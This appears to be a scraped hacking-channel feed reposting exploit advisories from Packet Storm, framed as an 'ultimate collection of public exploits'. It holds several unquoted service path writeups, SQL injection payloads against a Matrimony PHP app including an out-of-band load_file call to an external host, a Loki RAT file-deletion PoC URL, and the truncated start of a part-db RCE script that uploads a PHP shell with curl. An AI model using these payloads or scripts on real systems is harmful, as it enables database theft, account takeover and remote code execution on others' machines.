Hacking Articles Tips Tricks Videos Tutorials

Hacking on Medium
What is Forking?

https://cdn-images-1.medium.com/max/1080/1*0KHuzhrDrgQ9CT8gGdxmRw.jpeg
101, difference between hard and soft forks, prevalence

Continue reading on Shaping Web3 »

___________________________
@hacking_Attack
@Hacking_Video

Medium

What is Forking?

101, difference between hard and soft forks, prevalence

7 viewsedited 17:51

Hacking Articles Tips Tricks Videos Tutorials

5 views19:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Foxit PDF Reader 11.0 Unquoted Service Path

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Foxit PDF Reader version 11.0 suffers from an unquoted service path vulnerability.

MD5 | af6e2e5a7c7adaa894c56f18040549d4

Download

# Exploit Title: Foxit PDF Reader 11.0 - Unquoted Service Path
# Date: 05/03/2022
# Exploit Author: Hejap Zairy
# Vendor Homepage: https://www.foxit.com/pdf-reader/
# Software Link: https://www.foxit.com/downloads/#Foxit-Reader/
# Version: 11.0.1.49938
# Tested: Windows 10 Pro x64 es

C:\Users\Hejap>sc qc  FoxitReaderUpdateService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FoxitReaderUpdateService
TYPE               : 110  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\FoxitPDFReaderUpdateService.exe
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : Foxit PDF Reader Update Service
DEPENDENCIES       :
SERVICE_START_NAME : LocalSystem
#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Foxit PDF Reader 11.0 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 19:41

Hacking Articles Tips Tricks Videos Tutorials

4 views19:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Malwarebytes 4.5 Unquoted Service Path

https://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png
Malwarebytes version 4.5 suffers from an unquoted service path vulnerability.

MD5 | 0efbda2b49f64330eac963f78ac1927d

Download

# Exploit Title: Malwarebytes 4.5 - Unquoted Service Path
# Date: 05/03/2022
# Exploit Author: Hejap Zairy
# Vendor Homepage: https://www.malwarebytes.com/
# Software Link: https://www.malwarebytes.com/mwb-download/
# Version: 4.5.0
# Tested: Windows 10 Pro x64 es

C:\Users\Hejap>sc qc MBAMService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MBAMService
TYPE               : 10  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : Malwarebytes Service
DEPENDENCIES       : RPCSS
: WINMGMT
SERVICE_START_NAME : LocalSystem
#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Malwarebytes 4.5 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 19:41

Hacking Articles Tips Tricks Videos Tutorials

3 views19:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Cloudflare WARP 1.4 Unquoted Service Path

https://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png
Cloudflare WARP version 1.4 suffers from an unquoted service path vulnerability.

MD5 | 4edb0796b32e5f29aa038b4280241609

Download

# Exploit Title: Cloudflare WARP 1.4 - Unquoted Service Path
# Date: 05/03/2022
# Exploit Author: Hejap Zairy
# Vendor Homepage: https://www.cloudflare.com/
# Software Link: https://developers.cloudflare.com/warp-client/get-started/windows/
# Version: 1.4.107
# Tested: Windows 10 Pro x64 es

C:\Users\Hejap>sc qc CloudflareWARP
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: CloudflareWARP
TYPE               : 10  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : C:\Program Files\Cloudflare\Cloudflare WARP\\warp-svc.exe
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : Cloudflare WARP
DEPENDENCIES       : wlansvc
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Cloudflare WARP 1.4 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 19:41

Hacking Articles Tips Tricks Videos Tutorials

2 views19:41

Hacking Articles Tips Tricks Videos Tutorials

2 views19:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Matrimony 1.0 SQL Injection

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Matrimony version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | cd2b175a3345aa38a825a2be6405314c

Download

## Title: Matrimony 1.0 SQLi
## Author: nu11secur1ty
## Date: 03.05.2022
## Vendor: https://www.vetbossel.in/matrimony-project-php/
## Software: https://cutt.ly/LOHzKd0,
https://www.vetbossel.in/matrimony-project-php/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony

## Description:
The password parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'
was submitted in the password parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system,
also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-5824' OR 4197=4197--
jrsh&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=VbMOEEMf' AND (SELECT 2589 FROM(SELECT
COUNT(*),CONCAT(0x7178706b71,(SELECT
(ELT(2589=2589,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
gXFR&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=VbMOEEMf' AND (SELECT 4030 FROM
(SELECT(SLEEP(5)))ciQI)-- nHot&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in

Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: username=-4629' UNION ALL SELECT
CONCAT(0x7178706b71,0x505747504a524d546e7842785156787361686c546c6e695873646952794a545770586447467a4d6b,0x71706a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
-&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony)

## Proof and Exploit:
[href](https://streamable.com/7gggih)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Matrimony 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 19:41

Hacking Articles Tips Tricks Videos Tutorials

5 views19:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Loki RAT (Relapse) Directory Traversal / Arbitrary File Deletion

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
Loki RAT (Relapse) malware suffers from a directory traversal vulnerability that can allow for arbitrary file deletion.

MD5 | 4bef4a286d43bda4977fcfb80e5556af

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/aabb54951546132e70a8e9f02bf8b5ba.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Loki RAT (Relapse)
Vulnerability: Directory Traversal - Arbitrary File Delete
Description:  The LokiRAT WebUI panel for "LokiRAT_Relapse.exe" runs on PHP and MySQL and is used control infected hosts through a central server.
The admin webpage "admin.php" takes four parameters pass, command, id and type. Theres a single check to authenticate $_GET['pass'] against a hardcoded clear-text password in settings.php.

The backend "admin.php" code has an upload feature, it uses PHP "unlink" function to delete a file before moving the new one. However, the code does not
use any secure coding practices, sanitize or filter user input for directory traversal characters "/../".  This can allow authenticated users, compromised bots or third-party attackers
who can guess the password check, ability to delete any file E.g. ".php", ".htaccess" etc in the root panel outside the "uploads/" dir, causing Loki web panel to become inoperative.

admin.php snippet:

case "upload":
$fullfilename = "uploads/" . $_GET['filename'];
if (file_exists($fullfilename)) unlink ($fullfilename);
move_uploaded_file($_FILES['file']['tmp_name'], $fullfilename);

Family: Loki
Type: WebUI
MD5: aabb54951546132e70a8e9f02bf8b5ba
MD5: 16c33e28c8c9b3ea71249ad94be4bf94 (admin.php)
Vuln ID: MVID-2022-0509
Disclosure: 03/05/2022

Exploit/PoC:
delete "settings.php" file which holds database connection, rendering the backend inoperative.

http://LOKI-RAT-IP/PHP%20Files/admin.php?pass=test&command=webcam&id=1&type=upload&filename=/../settings.php

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Loki RAT (Relapse) Directory Traversal / Arbitrary File Deletion

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 19:41

Hacking Articles Tips Tricks Videos Tutorials

4 views19:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Private Internet Access 3.3 Unquoted Service Path

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
Private Internet Access version 3.3 suffers from an unquoted service path vulnerability.

MD5 | 8b4fc70cb1a8cd6721bc2da2d14fd382

Download

# Exploit Title: Private Internet Access 3.3 - 'pia-service' Unquoted Service Path
# Date: 04/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.privateinternetaccess.com
# Software Link: https://www.privateinternetaccess.com/download
# Version: 3.3.0.100
# Tested: Windows 10 x64
# Contact: https://twitter.com/dmaral3noz

# Step to discover Unquoted Service Path:

C:\Users\saudh>wmic service where 'name like "%PrivateInternetAccessService%"' get name, displayname, pathname, startmode, startname

DisplayName                      Name                          PathName                                                    StartMode  StartName
Private Internet Access Service  PrivateInternetAccessService  "C:\Program Files\Private Internet Access\pia-service.exe"  Auto       LocalSystem

# Service info:

C:\Users\saudh>sc qc PrivateInternetAccessService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: PrivateInternetAccessService
TYPE               : 10  WIN32_OWN_PROCESS
START_TYPE         : 2   AUTO_START
ERROR_CONTROL      : 1   NORMAL
BINARY_PATH_NAME   : "C:\Program Files\Private Internet Access\pia-service.exe"
LOAD_ORDER_GROUP   :
TAG                : 0
DISPLAY_NAME       : Private Internet Access Service
DEPENDENCIES       :
SERVICE_START_NAME : LocalSystem
#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Private Internet Access 3.3 Unquoted Service Path

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 19:41

Hacking Articles Tips Tricks Videos Tutorials

3 views19:41

Hacking Articles Tips Tricks Videos Tutorials

3 views19:41

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Loki RAT (Relapse) SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Loki RAT (Relapse) SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 19:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
part-db 0.5.11 Remote Code Execution

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
part-db version 0.5.11 suffers from a remote code execution vulnerability.

MD5 | 0a4b599d9e4ab630547f878d967ae1f8

Download

# Exploit Title: part-db 0.5.11 - Remote Code Execution (RCE)
# Google Dork: NA
# Date: 03/04/2022
# Exploit Author: Sunny Mehra @DSKMehra
# Vendor Homepage: https://github.com/part-db/part-db
# Software Link: https://github.com/part-db/part-db
# Version: [ 0.5.11.] 
# Tested on: [KALI OS]
# CVE : CVE-2022-0848
#
---------------

#!/bin/bash
host=127.0.0.1/Part-DB-0.5.10 #WEBHOST
#Usage: Change host 
#Command: bash exploit.sh
#EXPLOIT BY @DSKMehra
echo "POC.phtml  #PHP Shell Code
result=`curl -i -s -X POST -F "logo_file=@POC.phtml" "http://$host/show_part_label.php" | grep -o -P '(?<=value="data